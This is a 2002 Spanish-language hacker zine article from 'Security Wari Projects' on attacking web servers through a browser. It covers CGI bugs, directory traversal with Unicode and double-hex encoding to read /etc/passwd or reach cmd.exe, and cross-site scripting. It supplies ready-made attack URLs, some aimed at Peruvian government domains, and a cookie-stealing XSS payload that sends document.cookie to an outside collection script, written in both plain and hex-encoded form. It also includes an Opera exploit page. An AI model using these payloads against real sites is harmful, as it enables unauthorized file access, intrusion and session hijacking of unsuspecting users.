....-      ......-     ...........................-   ... ..........-    ...
    . Codigo      Titulo                          Tema              Autor 
      SWP02-09    Aprovechando el Browser         Bugs            Sud Master
....-      ......-     ...........................-   ... ..........-    ...


1. Introduccion
2. Bug CGI
3. Bug de Directorio Transversal
4. Cross Site Scipting
5. Conclusiones

1. Introduccion
Aparte de tener la posibilidad de  usar nuestro browser como visor de paginas
webs, ftp, tambien se usa para explotar fallas comunes en las aplicaciones de
algunos servidores. Debido a la  construccion de paginas dinamicas, estas son
mucho mas propensas  a presentar fallas en sus  programas. Ademas dedico este
texto a diferenciar  los diversos modos de ataques y lo  sencillo que llega a
ser obtener un sam de los windows o un etc/pass de Linux. 

2. Bugs Cgi
CGI (Interface de Enlace Comun)  Los cgis son programas encargados en algunos
casos  de enlazar  la base  de  datos a  un servidor.  Sirven para  comunicar
aplicaciones externas con los servidores de informacion. 
Como un  programa CGI  es un ejecutable,  es equivalente  a dejar a  el mundo
ejecutar un programa en tu sistema, que no es lo mas seguro a hacer. 
Por ejemplo,  suele ser tipico, aun  en aplicaciones comerciales  a la venta,
incluir la opcion de ver el codigo de un archivo. esto daria una gran ventaja
al ver el tipo de proteccion usada, ejemplo: 

 http://server/cgi-bin/view?file=./view
esto daria informacion de como esta programado y  permitiria crear un exploit
o un overflow para acceder y ejecutar comandos. 

http://www.server/cgi-bin/test-cgi
El tes-cgi  que te permite  listar archivos de  forma remota en  el servidor,
esta  informacion puede ser  usada para  determinar que  tipo de  software se
tiene instalado.  
 
http://www.server/./webadmin.nsf
Este bug aparece  cuando la base de datos  del destino no esta en  uso por el
servidor,  y produciria en  tal caso  un ataque  DoS, ya  que se  tendria que
reiniciar el servidor. 

http://server/cgi-bin/htsearch?exclude=%60/etc/passwd%60 
El  archivo  /cgi-bin/htsearch puede  ser  usado  por  un atacante  para  ver
archivos en el sistema y tambien obtener una shell remota. 

http://server/user/../admin/this_axis700/this_axis700.shtml
El  Axis  700   Network  Scan  Server  incluye  un   peque~o  webserver  para
administracion y  monitoreo. Las paginas  son protegidas con  una contrase~a,
pero puede saltarse con la url anterior.


3.- Directorio Transversal

Esta vulnerabilidad es utilizado  para escalar directorios y poder visualizar
los tan queridos /etc/passwd o algunos otros directorios. 
La manera de escalar directorio seria usando "../" un ejemplo de esto es este
conocido  y tan  diseminado bug  del  comando cwd,  que nos  permite ver  los
archivos del directorio images. 

http://www.xxxxxxx.gob.pe/images/?cwd=../../../../

pero una podriamos crear variante con otros metodos de codeo :

http://www.xxxxxxx.gob.pe/images/?cwd=\...\...\...\...
http://www.xxxxxxx.gob.pe/images/?cwd=\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..

ya que para el servidor web es exactamente igual poner "../.." que
"..%c0%af.." 
 
http://servidor/inicio.asp?file=../../WINNT/win.ini
esta url nos permite acceder con permisos de lectura a muchos de los archivos
del servidor(pudiemndo cambiar que archivos leer). 

nota:  para mas  bugs facilmente  explotados pueden  usar el  Shadow Security
Scanner, Retina o el Nmap. 

Algo que nos puede ayudar en esto es el codeo en hexadecimal.

- Que es Codear en Hex?
Algunos programas  no filtran  estos caracteres, pero  otros si. Es  por esta
razon que se convierte estos caracteres a hexadecimal. 
Exploits:
Los caracteres Unicode / y \ 
Doble codeado Hex /, \, y .

* Unicode 
server/scripts/...<unicode>..<unicode>../winnt/system32/cmd.exe

Codeo:
para codear un  "/", se toma su HEX  y se le antepone un "%"  y veriamos algo
asi - %5c  - pero si se desea un  doble codeo, se codea tambien  el "%" y nos
quedaria - %255c -  

algunos ejemplos:

Get /scripts/..%255c..%255c../winnt/system32/cmd.exe
http://www.minedu.gob.pe/index.php?|=../../../../../../../../etc/passwd 
http://<ip>:<puertodinamico>/..\..\..\..\..\..\temp\temp.class 

4. Cross Site Scripting

Los Webs de hoy son mas  complejos que antes, incluyen contenido dinamico que
las hace propensa a  encontrar varias vulnerabilidades. El Contenido Dinamico
se logra a traves del uso  de aplicaciones web que pueden entregar diferentes
salidas a  un usuario  dependiendo del ambiente  y necesidades.  Los websites
Dinamicos tienen  una Amenaza muy  usada ultimamente, El llamado  "Cross Site
Scripting" (o tambien mayormente llamado XSS). 

El atacante inyectara  la parte malevola del enlace al sitio  en HEX (ojo que
tambien podria  usar otros  metodos de codificacion)  para que el  pedido sea
menos sospechoso. 

ahoras unas cuantas practicas...

- Primera Practica:

Al pedir una pagina que no existe nos podria mostrar en pantalla la siguiente URL:

http://servidor/error.asp?msg=Error+en+los+datos

Esta  falla nos  da la  posibilidad de  introducir cualquier  mensaje  en esa
pagina,  como "Security  Wari Proyects".  Ademas, se  podria  inyectar codigo
JavaScript, VBScript, ActiveX, HTML, o Flash usando una URL como esta: 

http://servidor/error.asp?msg=<script>alert('Server con XSS');</script>

Tambien existe  la posibilidad  de inyectar scripts  mas complejos  usando el
atributo   "src"   de   la    etiqueta   <script>,   por   ejemplo,   <script
src="http://cliente/script.js">.  Este atributo  nos  permite cargar  scripts
largos y complejos desde otros servidores. 

- Segunda Practica:

Para robar cookies se puede  utilizar el servidor de www.cgisecurity.com para
que nos ayude a almacenarlo y visualizarlo, cuando se clickee sobre el enlace
enga~oso,    este     enviara    el     cookie    de    los     usuarios    a
www.cgisecurity.com/cgi-bin/cookie.cgi  y  sera visualizado.  Si  ve que  una
pagina despliega  una galleta entonces tendriamos la  posibilidad de realizar
un jihacking. 

Ejemplos en Javascript para robar cookies.
Un ejemplo de uso esta abajo.

El uso de ASCII :
http://server/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> 

El uso de Hex :
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

- Tercera Practica:
 Uso de scripts para poder ejecutar codigo malevolo.
En este caso Opera permite correr Scripts Maliciosos 

Codigo del exploit:

<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]/");</script>
</body>
</html>

Un ejemplo:

<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%mailto:3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html>

esto abriria el ftp de opera y mostraria en pantalla una alerta con el contenido "exploit".


Nota 2: Aqui tambien posteo algunos XSS encontrados en el servidor de phpnuke.

http://server/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=0
2&ttitle=[JAVASCRIPT]

http://server/modules.php?name=Downloads&d_op=ratedownload&lid=118&ttitle
=[JAVASCRIPT]

http://server/modules.php?op=modload&name=Members_List&file=index&letter
=[JAVASCRIPT]

http://www.server/submit.php?subject=[JAVASCRIPT]&story=[JAVASCRIPT]&storyext=
[JAVASCRIPT]&op=Preview

http://www.server/user.php?op=userinfo&uname=[JAVASCRIPT] 

http://www.server/index.php?topic=<script>alert(document.cookie)</script> 


5. Conclusiones
- Ahora  que  se a  puesto  de  moda  los  escaneos  CGI  en hexadecimal  los
  servidores instalan IDS, bajados de www.lids.org o  www.snort.org, para que
  detecte dichos escaneos, ya  que para el servidor web es  exactamente igual
  poner "../.." que "..%c0%af. 

- Al usar  Apache Es Recomendable poner un  chroot a los CGI  para que actuen
  solo dentro  del directorio CGI-BIN  si puede ser  posible. O que  el mismo
  apache este en un chroot. 

- Un programa detector  de vulnerabilidades del tipo XSS  lo pueden conseguir
  de con el nombre de "WebInspect". 


Security Wari Proyects - www.swp-zone.org


                     .-                               -.
                         Security Wari Projects / SWP
                      (c) Todos los Derechos Reservados
                                 PERU / 2002
                      -                               -
